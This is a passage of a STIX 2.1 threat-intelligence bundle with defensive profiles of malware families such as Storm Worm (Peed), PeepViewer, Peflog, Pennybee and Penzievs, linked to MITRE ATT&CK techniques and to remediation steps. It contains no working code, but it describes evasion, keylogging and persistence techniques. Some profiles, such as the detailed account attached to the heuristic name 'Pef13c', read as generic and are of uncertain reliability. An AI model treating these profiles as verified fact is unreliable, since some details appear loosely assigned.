      "name": "Peed",
      "description": "<h3>Executive Summary</h3>\nPeed (also widely known as the Storm Worm or Peacomm) was one of the most prolific and sophisticated botnets of the late 2000s. Originally appearing disguised as breaking news regarding a storm in Europe, Peed evolved into a massive, decentralized, peer-to-peer (P2P) botnet utilized by cybercriminals for massive spam distribution, Distributed Denial of Service (DDoS) attacks, and identity theft.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe primary infection vector for Peed is massive spam email campaigns. The emails use high-pressure, topical social engineering (news events, fake e-cards, or invoice notifications) to trick the user into opening a malicious attachment or clicking a link to a drive-by download site.\n\nOnce executed, Peed demonstrates advanced, highly resilient architecture:\n<ul>\n<li><strong>Peer-to-Peer (P2P) C2 Infrastructure:</strong> Unlike traditional botnets that relied on a central C2 server (which could be easily taken down by law enforcement), Peed utilizes a decentralized P2P protocol (often Overnet). Infected machines communicate directly with each other to receive commands and updates, making the botnet incredibly difficult to dismantle.</li>\n<li><strong>Aggressive Rootkit Evasion:</strong> Peed employs aggressive rootkit techniques (often utilizing `wincom32.sys`) to hide its files, registry keys, and active network connections from the user and traditional antivirus software. It actively attempts to disable local security services.</li>\n<li><strong>Monetization (Spam and DDoS):</strong> The primary function of an infected node is to silently send massive volumes of spam (often pump-and-dump stock scams or pharmaceutical ads) or to participate in coordinated DDoS attacks against specific targets for extortion.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the original Storm Worm botnet has largely been mitigated, the P2P and fast-flux DNS techniques it pioneered are still heavily utilized by modern malware. A Peed-style infection indicates a total compromise of the endpoint and places significant legal and reputational risk on the organization due to the machine's participation in global spam and DDoS operations.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Containment:</strong> Immediately isolate the infected machine from the network. Because the botnet relies on P2P communications, blocking standard P2P ports and monitoring for high volumes of outbound SMTP (Port 25) traffic is critical.</li>\n<li><strong>Rootkit Removal (Bare-Metal Restore):</strong> Because Peed utilizes kernel-level rootkits, manual removal is highly unreliable. The only secure remediation is to completely format the hard drive and reinstall the operating system from a trusted image.</li>\n<li><strong>Spam Blacklist Monitoring:</strong> If an infected machine successfully sent out spam, the organization's public IP address may be added to global DNS-based Blackhole Lists (DNSBLs), disrupting legitimate corporate email delivery.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Peacomm",
        "Worm.Storm",
        "Win32/Peed"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Peed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/peed"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97dfa2e1-445e-5332-bde4-d4ee1d68aec6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d2f99c-bcdd-50e7-aa16-5c99e4e9a50f",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peed exhibits technique T1090.002 (Connection Proxy: External Proxy (Abusing the tool for routing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82f25e38-ed65-515e-b1d0-c8d35dee158b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d2f99c-bcdd-50e7-aa16-5c99e4e9a50f",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peed exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9582efde-02f9-5841-96d7-78dd7a8c25bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d2f99c-bcdd-50e7-aa16-5c99e4e9a50f",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peed exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--32397045-e747-5aa1-b505-fadd1fe30e6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1568: Dynamic Resolution",
      "description": "MITRE ATT&CK Technique T1568 (Dynamic Resolution) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1568",
          "url": "https://attack.mitre.org/techniques/T1568/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e4a510f-a66f-5e46-99f2-70de26ee9a2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25d2f99c-bcdd-50e7-aa16-5c99e4e9a50f",
      "target_ref": "attack-pattern--32397045-e747-5aa1-b505-fadd1fe30e6e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peed exhibits technique T1568 (Dynamic Resolution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cfd6cc79-3cc2-58d3-acd2-d2b1881cfada",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Peepviewer",
      "description": "<h3>Executive Summary</h3>\nPeepViewer (often detected as HackTool.PeepViewer or Spyware.VNC) is a specialized utility designed to secretly monitor and control remote desktops. While it utilizes the legitimate VNC (Virtual Network Computing) protocol, PeepViewer is specifically engineered for stealth, allowing an attacker to view the victim's screen and interact with their system without triggering any visible notifications or tray icons on the compromised host. It is heavily utilized by cybercriminals for post-compromise espionage and manual data exfiltration.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPeepViewer is not typically self-replicating. It is manually deployed by an attacker who has already gained initial access to a system (e.g., via a spear-phishing payload, RDP brute-forcing, or as a secondary payload dropped by an initial Trojan).\n\nUpon execution, it provides severe surveillance capabilities:\n<ul>\n<li><strong>Stealth VNC Server:</strong> It installs a highly modified, hidden VNC server on the victim's machine. It suppresses the standard VNC notification tray icons and disables desktop wallpaper to improve transmission speeds, making its presence nearly invisible to the end user.</li>\n<li><strong>Reverse Connection:</strong> To bypass inbound firewall rules and NAT (Network Address Translation), the PeepViewer server often initiates a reverse connection out to the attacker's listening client (C2 server).</li>\n<li><strong>Interactive Control:</strong> Once connected, the attacker has full, real-time, graphical control over the victim's desktop. They can observe the user entering passwords, manually navigate the file system to steal sensitive documents, or execute administrative commands.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a stealth VNC tool like PeepViewer is a critical security incident. It signifies that a human attacker has active, real-time, interactive control over the endpoint. This level of access guarantees the compromise of any data stored on or accessed from that machine.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to sever the attacker's interactive connection by instantly disconnecting the infected endpoint from the LAN and the internet. Do not simply turn it off, as volatile memory contains the attacker's active IP address.</li>\n<li><strong>Identify the Initial Vector:</strong> The presence of PeepViewer means perimeter defenses failed earlier. Utilize EDR telemetry to trace backwards from the PeepViewer execution to identify how the attacker initially gained access (e.g., finding the original dropper Trojan or compromised RDP logs).</li>\n<li><strong>Mandatory Re-imaging and Credential Reset:</strong> Because the attacker had interactive desktop access, attempting to \"clean\" the machine is insecure. The system must be wiped and re-imaged from a known-good baseline, and a mandatory global password reset is required for the user.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PeepViewer",
        "Spyware.VNC",
        "Backdoor.StealthVNC",
        "Tool.RemoteAdmin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Peepviewer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/peepviewer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0be2ecdd-d70b-5f4a-bd78-7556ba904221",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfd6cc79-3cc2-58d3-acd2-d2b1881cfada",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peepviewer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--567addb2-fd8b-5c21-b2ba-d67c887d3ac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfd6cc79-3cc2-58d3-acd2-d2b1881cfada",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peepviewer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34aef9ac-7bad-5552-ba71-d6be3501e37f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cfd6cc79-3cc2-58d3-acd2-d2b1881cfada",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peepviewer exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68f393a9-5ec9-5e27-ad28-580efd859a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pef13C",
      "description": "<h3>Executive Summary</h3>\n\"Pef13c\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Pef13c typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Pef13c",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pef13C",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pef13c"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--449b3186-2bf8-5d62-a512-da7426ba731f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68f393a9-5ec9-5e27-ad28-580efd859a92",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pef13C exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fa02dac-b4a3-5d53-a799-d5ef52eb8ede",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68f393a9-5ec9-5e27-ad28-580efd859a92",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pef13C exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9ccf571-4183-5170-82ae-01fb5869edb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68f393a9-5ec9-5e27-ad28-580efd859a92",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pef13C exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6f83729-d941-5bce-8702-6543ea67dddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68f393a9-5ec9-5e27-ad28-580efd859a92",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pef13C exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aff3e3d0-e9d7-5aa0-8097-9ac33bf258f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Peflog",
      "description": "<h3>Executive Summary</h3>\nPeflog (PE File Logger) is a classification for a specific type of Information Stealer (Info-Stealer) focused primarily on monitoring system activity and exfiltrating data. Unlike broader banking trojans, Peflog is designed for targeted espionage, quietly logging keystrokes, capturing screenshots, and aggressively searching the filesystem for specific file types (often source code, documents, or cryptographic keys).\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPeflog is typically distributed via spear-phishing campaigns targeting specific individuals or organizations, or it is dropped as a secondary payload by an initial access broker.\n\nUpon execution, it performs a highly aggressive, targeted data harvesting operation:\n<ul>\n<li><strong>Comprehensive Keylogging:</strong> Peflog utilizes advanced API hooking (often `SetWindowsHookEx`) to capture all keystrokes across all applications. This is designed to capture passwords as they are typed, bypassing browser-based password managers or credential vaults.</li>\n<li><strong>Targeted File Exfiltration:</strong> The malware continuously scans the local hard drive and mapped network shares for specific file extensions (e.g., `.doc`, `.xls`, `.pdf`, `.key`, `.pem`). It packages these files into hidden, encrypted archives for exfiltration.</li>\n<li><strong>System Profiling and Exfiltration:</strong> It collects extensive system details and periodically takes desktop screenshots to monitor user activity. All stolen data is typically exfiltrated via HTTP POST requests or FTP uploads to an attacker-controlled drop server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Peflog infection is a critical data breach and espionage incident. The malware is designed to operate silently over long periods, continuously bleeding sensitive intellectual property, strategic documents, and user credentials out of the network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to physically disconnect the infected machine from the network to halt the active exfiltration of data and prevent the malware from capturing further credentials.</li>\n<li><strong>Global Credential Reset:</strong> Because of the pervasive keylogging capabilities, ALL credentials used on that machine\u2014including domain admin passwords, web app logins, and VPN tokens\u2014must be considered compromised and reset immediately.</li>\n<li><strong>Endpoint Eradication:</strong> The extent of the data breach and the likelihood of advanced persistence mechanisms necessitate a full forensic review. Re-imaging the machine from a trusted baseline is required to ensure complete eradication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Peflog",
        "PWS.Peflog",
        "TrojanSpy.Peflog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Peflog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/peflog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95b07658-cace-5da3-a05e-fcd929348b63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aff3e3d0-e9d7-5aa0-8097-9ac33bf258f3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peflog exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--b7a7b887-eeef-5e2a-97d6-e15b42684816",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1119: Automated Collection",
      "description": "MITRE ATT&CK Technique T1119 (Automated Collection) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1119",
          "url": "https://attack.mitre.org/techniques/T1119/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc6c645e-a84e-5f7f-b9d5-6deac321c57b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aff3e3d0-e9d7-5aa0-8097-9ac33bf258f3",
      "target_ref": "attack-pattern--b7a7b887-eeef-5e2a-97d6-e15b42684816",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peflog exhibits technique T1119 (Automated Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f7e12ae-25e1-59c4-9860-45d96584f24b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aff3e3d0-e9d7-5aa0-8097-9ac33bf258f3",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peflog exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b040fd3-1fdc-539c-a9fa-122db09d5f74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aff3e3d0-e9d7-5aa0-8097-9ac33bf258f3",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Peflog exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dda27b7c-cdde-5af2-b3d1-91f8317ccb02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pennybee",
      "description": "Adware:Win32/Pennybee is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Pennybee</b><br>To an end-user, Pennybee manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Pennybee is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pennybee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pennybee"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eee33fd-000a-5ed9-a1a7-0baac3d4b075",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dda27b7c-cdde-5af2-b3d1-91f8317ccb02",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pennybee exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e9769f-a9ef-52b8-8f1f-7cd476bc12ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dda27b7c-cdde-5af2-b3d1-91f8317ccb02",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pennybee exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--962693cb-3df9-522d-bc3a-eacf33de9829",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dda27b7c-cdde-5af2-b3d1-91f8317ccb02",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pennybee exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5454af5-0789-5da5-969f-074b4903b551",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dda27b7c-cdde-5af2-b3d1-91f8317ccb02",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pennybee exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c4b7bf40-ad02-5b2b-9184-bc7471bc1b70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Penzievs",
      "description": "<h3>Executive Summary</h3>\nPenzievs is a highly evasive Trojan designed to establish a covert backdoor on compromised Windows systems. While occasionally acting as a standalone remote access tool (RAT), its primary utility for modern threat actors is as a reliable initial access broker, facilitating the silent download and deployment of secondary payloads such as ransomware and advanced information stealers.\n\n<h3>Infection Vectors and Execution</h3>\nPenzievs is predominantly distributed via sophisticated spear-phishing campaigns. These emails often contain weaponized Microsoft Office documents utilizing malicious macros, or exploit kits that trigger drive-by downloads when a user visits a compromised website.\n\nOnce executed, Penzievs prioritizes establishing a deep, persistent foothold:\n<ul>\n<li><strong>Defense Evasion:</strong> Penzievs frequently employs advanced process hollowing techniques, injecting its malicious code into legitimate, whitelisted Windows processes (e.g., `svchost.exe` or `explorer.exe`) to bypass process-based firewall rules and hide from the Task Manager.</li>\n<li><strong>Persistence:</strong> It ensures operational continuity by aggressively modifying the Windows Registry (creating keys in `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`) or by installing itself as a hidden system service.</li>\n<li><strong>C2 Communication:</strong> Penzievs establishes a covert communication channel with its command-and-control (C2) infrastructure, often utilizing encrypted HTTP/S traffic to blend in with normal web browsing.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nA Penzievs infection indicates a critical breach of the endpoint perimeter. Because it provides remote attackers with an interactive shell and the ability to download arbitrary executables, a single Penzievs infection can rapidly escalate into a catastrophic, enterprise-wide ransomware deployment.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Utilize EDR to monitor for anomalous parent-child process trees, specifically focusing on standard office applications spawning command shells (`cmd.exe`) or PowerShell.</li>\n<li><strong>Network Isolation:</strong> Instantly isolate the infected machine from the corporate network to sever the C2 connection and halt the download of secondary payloads.</li>\n<li><strong>Forensic Sweeps:</strong> A standard antivirus scan is insufficient. Responders must conduct a deep forensic sweep to locate the specific persistence mechanisms and identify any secondary payloads Penzievs successfully dropped.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Penzievs",
        "Backdoor.Penzievs",
        "Win32/Penzievs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Penzievs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/penzievs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b01f527-ae0f-5e42-88b8-0b3fc53c865a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4b7bf40-ad02-5b2b-9184-bc7471bc1b70",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Penzievs exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58d89ec3-c7ba-52be-a724-059563054283",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4b7bf40-ad02-5b2b-9184-bc7471bc1b70",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Penzievs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b6ae21f-a93d-55f1-8ddf-f4b79a15ad58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4b7bf40-ad02-5b2b-9184-bc7471bc1b70",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
